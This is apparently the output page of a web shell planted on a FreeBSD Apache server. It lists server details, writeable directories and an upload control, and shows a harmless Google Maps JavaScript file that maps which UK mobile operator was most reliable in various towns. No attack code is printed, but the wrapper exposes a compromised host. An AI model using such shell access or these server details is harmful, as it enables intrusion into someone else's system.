KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/gwsolutions/ukdrive/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/gwsolutions/ukdrive/js/ukdriveV22.js
var gmarkers = [];
var bounds = new google.maps.LatLngBounds();
var infowindow = "";
var map;
var borderColor = "Black";
var captionColor = "White";
var titleName = "Street Name";
var isiPhone = (navigator.userAgent.toLowerCase().indexOf("iphone") > -1);
var ua = navigator.userAgent.toLowerCase();
var isAndroid = ua.indexOf("android") > -1;
var ACTUAL_PERCENTAGES = true;
var mapCenter = new google.maps.LatLng(53.880663, -2.478137);			//53.347541, -3.829126		//	//54.128626, -1.529311
var mobileCenter = new google.maps.LatLng(53.880663, -2.478137);
var lastValidCenter = mapCenter;
var initialZoom = 7;
var mobileZoom = 5;

var bubbleOffsetHeight = 0;


function winnerText(market,winner)
{
	return '<div class="winner_market">' + market + '</div><div class="winner_operator color_' + winner +'">' + winner + '</div><br />';
}

function winnerPop(market,winner)
{
	return '<div class="winner_tooltip">' + market + ' : <span class="color_' + winner +'">' + winner + '</span></div>';
}

function addPin(data) {
	if (data.Winner == 'NA') return;		//skipping not-driven markets
	
	var newLat = data.Latitude;
	var newLong = data.Longitude;
	var text = '';
	var title = data.Name;
	if (data.Winner == 'NA') title += ' (drive in progress)';
	else title += ' - Most Reliable: ' + data.Winner;
	var myLatlng = new google.maps.LatLng(newLat,newLong);
	var icon = getUKPin(data.Winner);
	var tooltip = winnerPop(data.Name,data.Winner);
	$("#winners").append(winnerText(data.Name,data.Winner));
	
	//if (data.Winner == 'O2') icon = getColoredPin('0c5c99');
	//if (data.Winner == 'EE') icon = getColoredPin('007b85');
	//if (data.Winner == '3') icon = getColoredPin('7d3b85');

	bounds.extend(myLatlng);

	var marker = new google.maps.Marker({
			position : myLatlng,
			map : map,
			icon : icon,
			/*title : title,*/
			tooltip: tooltip
		});

	/*google.maps.event.addListener(marker,'click',function() {
			hideLegend();
			hookBalloon(map, marker, data, text);
	});	*/

	var tooltip = new Tooltip({map: map}, marker);
        tooltip.bindTo("text", marker, "tooltip");
        google.maps.event.addListener(marker, 'click', function() {
            tooltip.addTip();
            tooltip.getPos2(marker.getPosition());
			window.setTimeout(function() {tooltip.removeTip();},2500);
        });
  	
		google.maps.event.addListener(marker, 'mouseover', function() {
            tooltip.addTip();
            tooltip.getPos2(marker.getPosition());
			window.setTimeout(function() {tooltip.removeTip();},2500);
        });
        google.maps.event.addListener(marker, 'mouseout', function() {
            tooltip.removeTip();
        });
	
	gmarkers.push(marker);
	return marker;
}

function getColoredPin(color) {
	if (color.indexOf('#') < 0) color = '#' + color;
    return {
        path: 'M 0,0 C -2,-20 -10,-22 -10,-30 A 10,10 0 1,1 10,-30 C 10,-22 2,-20 0,0 z',
        fillColor: color,
        fillOpacity: 1,
        strokeColor: '#fff',
        strokeWeight: 1,
        scale: 1,
   };
}

function getColoredPin2(pinColor) {

return new google.maps.MarkerImage("http://chart.apis.google.com/chart?chst=d_map_pin_letter&chld=|" + pinColor,
    new google.maps.Size(21, 34),
    new google.maps.Point(0,0),
    new google.maps.Point(10, 34));
}

function getUKPin(carrier) {
	//Pin-02-a-40px.png
	var url = 'images/Pin-' + carrier + '-a-40px_new.png';
	return new google.maps.MarkerImage(url,
		new google.maps.Size(34, 40),
		new google.maps.Point(0, 0),
		new google.maps.Point(17, 40));
}

function gwsPin2() {

	return new google.maps.MarkerImage('images/citySurvey-Pin.png',
		new google.maps.Size(28, 40),
		new google.maps.Point(0, 0),
		new google.maps.Point(14, 40));
}


function toOrdinal (value) {
    var s = String(value),
      len = s.length,
      end  = s.substr(len - 1, 1),
      teen = len > 1 && s.substr(len - 2, 1) === "1",
      ord = "th";
    if (end === "1" && !teen) {
      ord = "st";
    } else if (end === "2" && !teen) {
      ord = "nd";
    } else if (end === "3" && !teen) {
      ord = "rd";
    }
    return value + '' + ord;
 }

String.prototype.replaceAll = function (find,replace) {
	var str = this;
	return str.replace(new RegExp(find,'g'), replace);
}

var currentMarker = null;
var currentData = null;



function stopIt(e) {
	e.stopPropagation();
}

function hideLegend() {
	if (isMobile() || getSize().width < 550)
		$("#legend").hide();
}

function showLegend() {
	$("#legend").show();
}

function closePopup() {

	if (infowindow != "")
		infowindow.close();

	$("#street-view").hide();
}

function isMobile() {
	var isiPhone = navigator.userAgent.match(/iPhone/i) != null;
	var ua = navigator.userAgent.toLowerCase();
	var isAndroid = ua.indexOf("android") > -1;

	return isiPhone || isAndroid;
}

function getPin(src,top) {

	var path = 'pins/' + src;

	var y = 109;
	if (top == false)
		y = 0;
	return new google.maps.MarkerImage(path,
		new google.maps.Size(100, 99),
		new google.maps.Point(0, 0),
		new google.maps.Point(50, 99));
}


// bounds of the desired area
var allowedBounds = new google.maps.LatLngBounds(
     new google.maps.LatLng(51.4721,-.1829),
	 new google.maps.LatLng(51.5797,-.0443)

);

function getSize() {
	  var myWidth = 0, myHeight = 0;
	  if( typeof( window.innerWidth ) == 'number' ) {
		//Non-IE
		myWidth = window.innerWidth;
		myHeight = window.innerHeight;
	  } else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
		//IE 6+ in 'standards compliant mode'
		myWidth = document.documentElement.clientWidth;
		myHeight = document.documentElement.clientHeight;
	  } else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
		//IE 4 compatible
		myWidth = document.body.clientWidth;
		myHeight = document.body.clientHeight;
	  }
	  //window.alert( 'Width = ' + myWidth );

	  if (myWidth == 0) myWidth = 620;
	  if (myHeight == 0) myHeight = 500;
	  return {height: myHeight, width: myWidth};
	  //window.alert( 'Height = ' + myHeight );
	}


	
function doResize() {
	var dimensions = getSize();
	var mapHeight = dimensions.height;
	var mapWidth = dimensions.width;
	var extraReduction = 30;			// not sure why we need this but it renders better with it...
	//alert(dimensions.height)
	var headerHeight = $("#header").height();
	//var recenterTop  = 20;
	
	if (headerHeight) {
		mapHeight = mapHeight - headerHeight - extraReduction;
		//recenterTop = headerHeight;	// removed the + 12 so it's flush with top
	}
	//alert('head: ' + headerHeight + ',map: ' + mapHeight + ',full: ' + dimensions.height);
	
	var winnerHeightDelta = 160;
	var operatorHeightDelta = 140;
	var winnerHeight = mapHeight-winnerHeightDelta; 
	var operatorHeight = mapHeight-operatorHeightDelta;
	
	$(".scroll_up").hide();
	//if (winnerHeight < 740) $(".scroll_down").show();
	//else 
		$(".scroll_down").hide();
	
	$("#bg").width(dimensions.width);
	$("#bg").height(dimensions.height);
	$("#map_canvas").width(mapWidth + 'px');
	$("#map_canvas").height(mapHeight + 'px');
	//$("#winners").height(winnerHeight + 'px');
	//$("#operator_list").height(operatorHeight + 'px');
	//$("#recenter_embed").css('top',recenterTop + 'px');
	//$("#legend").css('top',(headerHeight) + 'px');
	//$("#legend_opener").css('top',recenterTop + 'px');
}

function recenter() {
	//showLegend();
	map.setCenter(mapCenter);
	doRecenterAction();
	if (infowindow != "")
		infowindow.close();
}

function doRecenterAction() {
	
	//alert(map.getZoom());
	if (isMobile() || isAndroid || isiPhone) {
		map.setZoom(mobileZoom);
		//alert(map.getZoom());
	}
	else {
		map.fitBounds(bounds);
	}
}

function initialize() {

	if (isMobile()) {
		mapCenter = mobileCenter;
	}
	doResize();

	$('.scroll_down').click(function() {
		$('#winners').scrollTop($('#winners')[0].scrollHeight);
		$('.scroll_up').show();
		$('.scroll_down').hide();
	});
	$('.scroll_up').click(function() {
		$('#winners').scrollTop(0);
		$('.scroll_down').show();
		$('.scroll_up').hide();
	});

	var chilled = [{"featureType":"road","elementType":"geometry","stylers":[{"visibility":"simplified"}]},{"featureType":"road.arterial","stylers":[{"hue":149},{"saturation":-78},{"lightness":0}]},{"featureType":"road.highway","stylers":[{"hue":-31},{"saturation":-40},{"lightness":2.8}]},{"featureType":"poi","elementType":"label","stylers":[{"visibility":"off"}]},{"featureType":"landscape","stylers":[{"hue":163},{"saturation":-26},{"lightness":-1.1}]},{"featureType":"transit","stylers":[{"visibility":"off"}]},{"featureType":"water","stylers":[{"hue":3},{"saturation":-24.24},{"lightness":-38.57}]}];
	var cleanCut = [{"featureType":"road","elementType":"geometry","stylers":[{"lightness":100},{"visibility":"simplified"}]},{"featureType":"water","elementType":"geometry","stylers":[{"visibility":"on"},{"color":"#C6E2FF"}]},{"featureType":"poi","elementType":"geometry.fill","stylers":[{"color":"#C5E3BF"}]},{"featureType":"road","elementType":"geometry.fill","stylers":[{"color":"#D1D1B8"}]}];
	var mine = [{"featureType":"road.highway.controlled_access","elementType":"geometry","stylers":[{"visibility":"on"}]},{"featureType":"poi.government"},{"featureType":"landscape.man_made","stylers":[{"hue":"#22ff00"},{"lightness":17}]},{"featureType":"administrative.country","stylers":[{"visibility":"off"}]},{"featureType":"administrative.province","stylers":[{"visibility":"off"}]},{"featureType":"administrative.locality","stylers":[{"visibility":"off"}]},{"featureType":"administrative.neighborhood","stylers":[{"visibility":"off"}]},{},{"featureType":"landscape.natural","stylers":[{"hue":"#1aff00"},{"saturation":-40}]},{"featureType":"poi","stylers":[{"visibility":"off"}]},{"featureType":"road.highway","stylers":[{"hue":"#ff0000"},{"saturation":-85},{"gamma":1.27}]},{"featureType":"road.arterial","stylers":[{"hue":"#ff0000"},{"saturation":38}]},{"featureType":"road.local","stylers":[{"hue":"#ff0000"},{"saturation":-74},{"lightness":-16}]},{}];

	var disablePoi = [
	   {
		 featureType: "poi",
		 stylers: [
		  { visibility: "off" }
		 ]
		}
	];

	var oldTimey = [{"featureType":"administrative","stylers":[{"visibility":"off"}]},{"featureType":"poi","stylers":[{"visibility":"off"}]},{"featureType":"road","stylers":[{"visibility":"simplified"}]},{"featureType":"water","stylers":[{"visibility":"simplified"}]},{"featureType":"transit","stylers":[{"visibility":"simplified"}]},{"featureType":"landscape","stylers":[{"visibility":"simplified"}]},{"featureType":"road.highway","stylers":[{"visibility":"off"}]},{"featureType":"road.local","stylers":[{"visibility":"on"}]},{"featureType":"road.highway","elementType":"geometry","stylers":[{"visibility":"on"}]},{"featureType":"water","stylers":[{"color":"#84afa3"},{"lightness":52}]},{"stylers":[{"saturation":-77}]},{"featureType":"road"}];
	var mutedBrown = [{"elementType":"geometry","stylers":[{"hue":"#ff4400"},{"saturation":-68},{"lightness":-4},{"gamma":0.72}]},{"featureType":"poi","stylers":[{"visibility":"off"}]},{"featureType":"road","elementType":"labels.icon"},{"featureType":"landscape.man_made","elementType":"geometry","stylers":[{"hue":"#0077ff"},{"gamma":3.1}]},{"featureType":"water","stylers":[{"hue":"#00ccff"},{"gamma":0.44},{"saturation":-33}]},{"featureType":"poi.park","stylers":[{"hue":"#44ff00"},{"saturation":-23}]},{"featureType":"water","elementType":"labels.text.fill","stylers":[{"hue":"#007fff"},{"gamma":0.77},{"saturation":65},{"lightness":99}]},{"featureType":"water","elementType":"labels.text.stroke","stylers":[{"gamma":0.11},{"weight":5.6},{"saturation":99},{"hue":"#0091ff"},{"lightness":-86}]},{"featureType":"transit.line","elementType":"geometry","stylers":[{"lightness":-48},{"hue":"#ff5e00"},{"gamma":1.2},{"saturation":-23}]},{"featureType":"transit","elementType":"labels.text.stroke","stylers":[{"saturation":-64},{"hue":"#ff9100"},{"lightness":16},{"gamma":0.47},{"weight":2.7}]}];
	var apple = [{"featureType":"landscape.man_made","elementType":"geometry","stylers":[{"color":"#f7f1df"}]},{"featureType":"landscape.natural","elementType":"geometry","stylers":[{"color":"#d0e3b4"}]},{"featureType":"landscape.natural.terrain","elementType":"geometry","stylers":[{"visibility":"off"}]},{"featureType":"poi","elementType":"labels","stylers":[{"visibility":"off"}]},{"featureType":"poi.business","elementType":"all","stylers":[{"visibility":"off"}]},{"featureType":"poi.medical","elementType":"geometry","stylers":[{"color":"#fbd3da"}]},{"featureType":"poi.park","elementType":"geometry","stylers":[{"color":"#bde6ab"}]},{"featureType":"road","elementType":"geometry.stroke","stylers":[{"visibility":"off"}]},{"featureType":"road","elementType":"labels","stylers":[{"visibility":"off"}]},{"featureType":"road.highway","elementType":"geometry.fill","stylers":[{"color":"#ffe15f"}]},{"featureType":"road.highway","elementType":"geometry.stroke","stylers":[{"color":"#efd151"}]},{"featureType":"road.arterial","elementType":"geometry.fill","stylers":[{"color":"#ffffff"}]},{"featureType":"road.local","elementType":"geometry.fill","stylers":[{"color":"black"}]},{"featureType":"transit.station.airport","elementType":"geometry.fill","stylers":[{"color":"#cfb2db"}]},{"featureType":"water","elementType":"geometry","stylers":[{"color":"#a2daf2"}]}];
	var paper = [{"featureType":"administrative","elementType":"all","stylers":[{"visibility":"off"}]},{"featureType":"landscape","elementType":"all","stylers":[{"visibility":"simplified"},{"hue":"#0066ff"},{"saturation":74},{"lightness":100}]},{"featureType":"poi","elementType":"all","stylers":[{"visibility":"simplified"}]},{"featureType":"road","elementType":"all","stylers":[{"visibility":"simplified"}]},{"featureType":"road.highway","elementType":"all","stylers":[{"visibility":"off"},{"weight":0.6},{"saturation":-85},{"lightness":61}]},{"featureType":"road.highway","elementType":"geometry","stylers":[{"visibility":"on"}]},{"featureType":"road.arterial","elementType":"all","stylers":[{"visibility":"on"}]},{"featureType":"road.local","elementType":"all","stylers":[{"visibility":"on"}]},{"featureType":"transit","elementType":"all","stylers":[{"visibility":"simplified"}]},{"featureType":"water","elementType":"all","stylers":[{"visibility":"simplified"},{"color":"#5f94ff"},{"lightness":26},{"gamma":5.86}]}];
	var mapbox = [{"featureType":"water","stylers":[{"saturation":43},{"lightness":-11},{"hue":"#0088ff"}]},{"featureType":"road","elementType":"geometry.fill","stylers":[{"hue":"#ff0000"},{"saturation":-100},{"lightness":99}]},{"featureType":"road","elementType":"geometry.stroke","stylers":[{"color":"#808080"},{"lightness":54}]},{"featureType":"landscape.man_made","elementType":"geometry.fill","stylers":[{"color":"#ece2d9"}]},{"featureType":"poi.park","elementType":"geometry.fill","stylers":[{"color":"#ccdca1"}]},{"featureType":"road","elementType":"labels.text.fill","stylers":[{"color":"#767676"}]},{"featureType":"road","elementType":"labels.text.stroke","stylers":[{"color":"#ffffff"}]},{"featureType":"poi","stylers":[{"visibility":"off"}]},{"featureType":"landscape.natural","elementType":"geometry.fill","stylers":[{"visibility":"on"},{"color":"#b8cb93"}]},{"featureType":"poi.park","stylers":[{"visibility":"on"}]},{"featureType":"poi.sports_complex","stylers":[{"visibility":"on"}]},{"featureType":"poi.medical","stylers":[{"visibility":"on"}]},{"featureType":"poi.business","stylers":[{"visibility":"simplified"}]}];

	var lighter = [
    {
        "featureType": "administrative",
        "elementType": "labels.text.fill",
        "stylers": [
            {
                "color": "#444444"
            }
        ]
    },
    {
        "featureType": "administrative.country",
        "elementType": "labels",
        "stylers": [
            {
                "saturation": "-31"
            },
            {
                "lightness": "11"
            },
            {
                "visibility": "off"
            }
        ]
    },
    {
        "featureType": "administrative.country",
        "elementType": "labels.text.fill",
        "stylers": [
            {
                "weight": "0.73"
            }
        ]
    },
    {
        "featureType": "administrative.province",
        "elementType": "labels",
        "stylers": [
            {
                "hue": "#6200ff"
            },
            {
                "visibility": "on"
            }
        ]
    },
    {
        "featureType": "administrative.province",
        "elementType": "labels.text",
        "stylers": [
            {
                "visibility": "on"
            },
            {
                "hue": "#00ff00"
            },
            {
                "gamma": "4.67"
            }
        ]
    },
    {
        "featureType": "administrative.locality",
        "elementType": "labels.text",
        "stylers": [
            {
                "visibility": "on"
            },
            {
                "gamma": "2.28"
            }
        ]
    },
    {
        "featureType": "landscape",
        "elementType": "all",
        "stylers": [
            {
                "color": "#f2f2f2"
            }
        ]
    },
    {
        "featureType": "poi",
        "elementType": "all",
        "stylers": [
            {
                "visibility": "off"
            }
        ]
    },
    {
        "featureType": "road",
        "elementType": "all",
        "stylers": [
            {
                "saturation": -100
            },
            {
                "lightness": 45
            }
        ]
    },
    {
        "featureType": "road.highway",
        "elementType": "all",
        "stylers": [
            {
                "visibility": "simplified"
            }
        ]
    },
    {
        "featureType": "road.arterial",
        "elementType": "labels.icon",
        "stylers": [
            {
                "visibility": "off"
            }
        ]
    },
    {
        "featureType": "transit",
        "elementType": "all",
        "stylers": [
            {
                "visibility": "off"
            }
        ]
    },
    {
        "featureType": "water",
        "elementType": "all",
        "stylers": [
            {
                "color": "#9ac5d6"
            },
            {
                "visibility": "on"
            }
        ]
    }
];

	
	var myOptions = {
		zoom : initialZoom,
		center : mapCenter,
		mapTypeId : google.maps.MapTypeId.ROADMAP,
		mapTypeControl : false,
		panControl: false,
		zoomControl: false,
		scaleControl: false,
		streetViewControl: false,
		styles: lighter
	}

	if (isAndroid || isiPhone) {
		myOptions = {
			zoom : mobileZoom,
			center : mobileCenter,
			mapTypeId : google.maps.MapTypeId.ROADMAP,
			mapTypeControl : false,
			panControl: false,
			zoomControl: false,
			scaleControl: false,
			streetViewControl: false,
			styles: lighter
		}
	}

	map = new google.maps.Map(document.getElementById("map_canvas"), myOptions);

	google.maps.event.addListener(map, "click", function (e) {
		hideLegend();
		closePopup();
	});

	google.maps.event.addListener(map, "drag", function (e) {
		hideLegend();
	});

	for (var i = 0, length = ukdata.length; i < length; i++) {
		addPin(ukdata[i]);
	}

	doRecenterAction();
}

window.onresize = function (event) {
	doResize();
}

$(document).ready(function () {
    $(window).bind('resize', doResize());
    $(window).trigger('resize');


});


$(document).ready(function () {
	initialize();

});



var ukdata =
[
	{
		"Type": "Town",
		"Name": "Antrim",
		"Drive17": "No",
		"Drive18": "Yes",
		"Longitude": "-6.207490",
		"Latitude": "54.719384",
		"Winner": "NA"
	},
	{
		"Type": "Town",
		"Name": "Armagh",
		"Drive17": "Yes",
		"Drive18": "No",
		"Longitude": "-6.652437",
		"Latitude": "54.350202",
		"Winner": "O2"
	},
	{
		"Type": "City",
		"Name": "Belfast",
		"Drive17": "Yes",
		"Drive18": "Yes",
		"Longitude": "-5.929102",
		"Latitude": "54.597927",
		"Winner": "3"
	},
	{
		"Type": "Town",
		"Name": "Beverley",
		"Drive17": "No",
		"Drive18": "Yes",
		"Longitude": "-0.435111",
		"Latitude": "53.841963",
		"Winner": "NA"
	},
	{
		"Type": "City",
		"Name": "Birmingham",
		"Drive17": "Yes",
		"Drive18": "Yes",
		"Longitude": "-1.906225",
		"Latitude": "52.485772",
		"Winner": "3"
	},
	{
		"Type": "City",
		"Name": "Bradford",
		"Drive17": "Yes",
		"Drive18": "Yes",
		"Longitude": "-1.759423",
		"Latitude": "53.795605",
		"Winner": "3"
	},
	{
		"Type": "City",
		"Name": "Bristol",
		"Drive17": "Yes",
		"Drive18": "Yes",
		"Longitude": "-2.588016",
		"Latitude": "51.456204",
		"Winner": "3"
	},
	{
		"Type": "Town",
		"Name": "Caernarfon",
		"Drive17": "No",
		"Drive18": "Yes",
		"Longitude": "-4.271860",
		"Latitude": "53.139349",
		"Winner": "NA"
	},
	{
		"Type": "Town",
		"Name": "Cambridge",
		"Drive17": "Yes",
		"Drive18": "No",
		"Longitude": "0.121920",
		"Latitude": "52.205972",
		"Winner": "O2"
	},
	{
		"Type": "City",
		"Name": "Cardiff",
		"Drive17": "Yes",
		"Drive18": "Yes",
		"Longitude": "-3.179486",
		"Latitude": "51.481970",
		"Winner": "O2"
	},
	{
		"Type": "Town",
		"Name": "Carlisle",
		"Drive17": "Yes",
		"Drive18": "No",
		"Longitude": "-2.937636",
		"Latitude": "54.892227",
		"Winner": "3"
	},
	{
		"Type": "Town",
		"Name": "Carmarthen",
		"Drive17": "Yes",
		"Drive18": "No",
		"Longitude": "-4.312891",
		"Latitude": "51.857500",
		"Winner": "O2"
	},
	{
		"Type": "Town",
		"Name": "Chelmsford",
		"Drive17": "Yes",
		"Drive18": "No",
		"Longitude": "0.465983",
		"Latitude": "51.735082",
		"Winner": "O2"
	},
	{
		"Type": "Town",
		"Name": "Chichester",
		"Drive17": "No",
		"Drive18": "Yes",
		"Longitude": "-0.776643",
		"Latitude": "50.837622",
		"Winner": "NA"
	},
	{
		"Type": "Town",
		"Name": "Dumfries",
		"Drive17": "Yes",
		"Drive18": "No",
		"Longitude": "-3.611953",
		"Latitude": "55.070780",
		"Winner": "3"
	},
	{
		"Type": "Town",
		"Name": "Durham",
		"Drive17": "No",
		"Drive18": "Yes",
		"Longitude": "-1.580068",
		"Latitude": "54.774546",
		"Winner": "NA"
	},
	{
		"Type": "City",
		"Name": "Edinburgh",
		"Drive17": "Yes",
		"Drive18": "Yes",
		"Longitude": "-3.202998",
		"Latitude": "55.953984",
		"Winner": "3"
	},
	{
		"Type": "Town",
		"Name": "Exeter",
		"Drive17": "Yes",
		"Drive18": "No",
		"Longitude": "-3.536512",
		"Latitude": "50.718698",
		"Winner": "3"
	},
	{
		"Type": "City",
		"Name": "Glasgow",
		"Drive17": "Yes",
		"Drive18": "Yes",
		"Longitude": "-4.255735",
		"Latitude": "55.862467",
		"Winner": "O2"
	},
	{
		"Type": "Town",
		"Name": "Gloucester",
		"Drive17": "No",
		"Drive18": "Yes",
		"Longitude": "-2.238988",
		"Latitude": "51.862653",
		"Winner": "NA"
	},
	{
		"Type": "Town",
		"Name": "Hull",
		"Drive17": "Yes",
		"Drive18": "No",
		"Longitude": "-0.338430",
		"Latitude": "53.745040",
		"Winner": "3"
	},
	{
		"Type": "Town",
		"Name": "Ipswich",
		"Drive17": "No",
		"Drive18": "Yes",
		"Longitude": "1.146301",
		"Latitude": "52.057159",
		"Winner": "NA"
	},
	{
		"Type": "City",
		"Name": "Leeds",
		"Drive17": "Yes",
		"Drive18": "Yes",
		"Longitude": "-1.550194",
		"Latitude": "53.800880",
		"Winner": "EE"
	},
	{
		"Type": "City",
		"Name": "Leicester",
		"Drive17": "Yes",
		"Drive18": "Yes",
		"Longitude": "-1.141464",
		"Latitude": "52.636135",
		"Winner": "EE"
	},
	{
		"Type": "Town",
		"Name": "Lincoln",
		"Drive17": "No",
		"Drive18": "Yes",
		"Longitude": "-0.540158",
		"Latitude": "53.231567",
		"Winner": "NA"
	},
	{
		"Type": "City",
		"Name": "Liverpool",
		"Drive17": "Yes",
		"Drive18": "Yes",
		"Longitude": "-2.990002",
		"Latitude": "53.408081",
		"Winner": "O2"
	},
	{
		"Type": "City",
		"Name": "London",
		"Drive17": "Yes",
		"Drive18": "Yes",
		"Longitude": "-0.132048",
		"Latitude": "51.506763",
		"Winner": "3"
	},
	{
		"Type": "Town",
		"Name": "Maidstone",
		"Drive17": "Yes",
		"Drive18": "No",
		"Longitude": "0.523605",
		"Latitude": "51.269742",
		"Winner": "O2"
	},
	{
		"Type": "City",
		"Name": "Manchester",
		"Drive17": "Yes",
		"Drive18": "Yes",
		"Longitude": "-2.245455",
		"Latitude": "53.480542",
		"Winner": "EE"
	},
	{
		"Type": "Town",
		"Name": "Morpeth",
		"Drive17": "No",
		"Drive18": "Yes",
		"Longitude": "-1.687744",
		"Latitude": "55.169607",
		"Winner": "NA"
	},
	{
		"Type": "City",
		"Name": "Newcastle upon Tyne",
		"Drive17": "Yes",
		"Drive18": "Yes",
		"Longitude": "-1.618641",
		"Latitude": "54.978030",
		"Winner": "O2"
	},
	{
		"Type": "Town",
		"Name": "Northampton",
		"Drive17": "No",
		"Drive18": "Yes",
		"Longitude": "-0.903785",
		"Latitude": "52.240830",
		"Winner": "NA"
	},
	{
		"Type": "Town",
		"Name": "Norwich",
		"Drive17": "No",
		"Drive18": "Yes",
		"Longitude": "1.296750",
		"Latitude": "52.629382",
		"Winner": "NA"
	},
	{
		"Type": "City",
		"Name": "Nottingham",
		"Drive17": "Yes",
		"Drive18": "Yes",
		"Longitude": "-1.158808",
		"Latitude": "52.954464",
		"Winner": "O2"
	},
	{
		"Type": "Town",
		"Name": "Oxford",
		"Drive17": "Yes",
		"Drive18": "No",
		"Longitude": "-1.257958",
		"Latitude": "51.751765",
		"Winner": "3"
	},
	{
		"Type": "Town",
		"Name": "Preston",
		"Drive17": "Yes",
		"Drive18": "No",
		"Longitude": "-2.702886",
		"Latitude": "53.764131",
		"Winner": "3"
	},
	{
		"Type": "Town",
		"Name": "Reading",
		"Drive17": "Yes",
		"Drive18": "No",
		"Longitude": "-0.978277",
		"Latitude": "51.455245",
		"Winner": "O2"
	},
	{
		"Type": "Town",
		"Name": "Shrewsbury",
		"Drive17": "Yes",
		"Drive18": "No",
		"Longitude": "-2.754797",
		"Latitude": "52.706621",
		"Winner": "O2"
	},
	{
		"Type": "Town",
		"Name": "Southampton",
		"Drive17": "Yes",
		"Drive18": "No",
		"Longitude": "-1.404379",
		"Latitude": "50.909418",
		"Winner": "O2"
	},
	{
		"Type": "Town",
		"Name": "Stafford",
		"Drive17": "Yes",
		"Drive18": "No",
		"Longitude": "-2.120076",
		"Latitude": "52.806679",
		"Winner": "O2"
	},
	{
		"Type": "Town",
		"Name": "Stirling",
		"Drive17": "No",
		"Drive18": "Yes",
		"Longitude": "-3.938919",
		"Latitude": "56.116450",
		"Winner": "NA"
	},
	{
		"Type": "City",
		"Name": "Sunderland",
		"Drive17": "Yes",
		"Drive18": "Yes",
		"Longitude": "-1.387581",
		"Latitude": "54.906793",
		"Winner": "O2"
	},
	{
		"Type": "Town",
		"Name": "Swansea",
		"Drive17": "Yes",
		"Drive18": "No",
		"Longitude": "-3.942851",
		"Latitude": "51.621140",
		"Winner": "O2"
	},
	{
		"Type": "Town",
		"Name": "Taunton",
		"Drive17": "No",
		"Drive18": "Yes",
		"Longitude": "-3.104069",
		"Latitude": "51.016192",
		"Winner": "NA"
	},
	{
		"Type": "Town",
		"Name": "Warwick",
		"Drive17": "Yes",
		"Drive18": "No",
		"Longitude": "-1.586371",
		"Latitude": "52.282370",
		"Winner": "O2"
	},
	{
		"Type": "Town",
		"Name": "Winchester",
		"Drive17": "No",
		"Drive18": "Yes",
		"Longitude": "-1.315755",
		"Latitude": "51.058617",
		"Winner": "NA"
	},
	{
		"Type": "Town",
		"Name": "Worcester",
		"Drive17": "No",
		"Drive18": "Yes",
		"Longitude": "-2.216808",
		"Latitude": "52.192916",
		"Winner": "NA"
	},
	{
		"Type": "Town",
		"Name": "York",
		"Drive17": "No",
		"Drive18": "Yes",
		"Longitude": "-1.087593",
		"Latitude": "53.958309",
		"Winner": "NA"
	}
];

// end of javascript file

Anon7 - 2021